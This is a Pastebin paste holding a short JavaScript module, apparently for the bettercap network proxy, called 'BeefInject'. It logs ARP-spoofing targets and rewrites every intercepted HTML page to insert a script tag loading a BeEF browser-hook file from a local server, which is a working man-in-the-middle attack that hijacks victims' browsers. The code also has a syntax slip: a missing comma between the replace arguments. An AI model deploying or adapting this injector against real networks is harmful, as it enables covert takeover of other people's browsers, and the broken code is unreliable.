SHARE
TWEET

script

4SS4SS1N Mar 25th, 2019 63 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function onLoad ()  {
  2.     console.log("BeefInject loaded." );
  3.     console.log("targets: " + env('arp.spoof.targets'));
  4. }
  5.  
  6. function onResponse(req, res)   {
  7.     if( res.ContentType.indexOf('text/html') == 0 ) {
  8.         var body = res.ReadBody();
  9.         if(body.indexOf('</head>') != -1)   {
  10.             res.Body = body.replace(
  11.                 '</head>'
  12.             '<script src="http://127.0.0.1:3000/hook.js"></script></head>'
  13.             );
  14.         }
  15.     }
  16. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top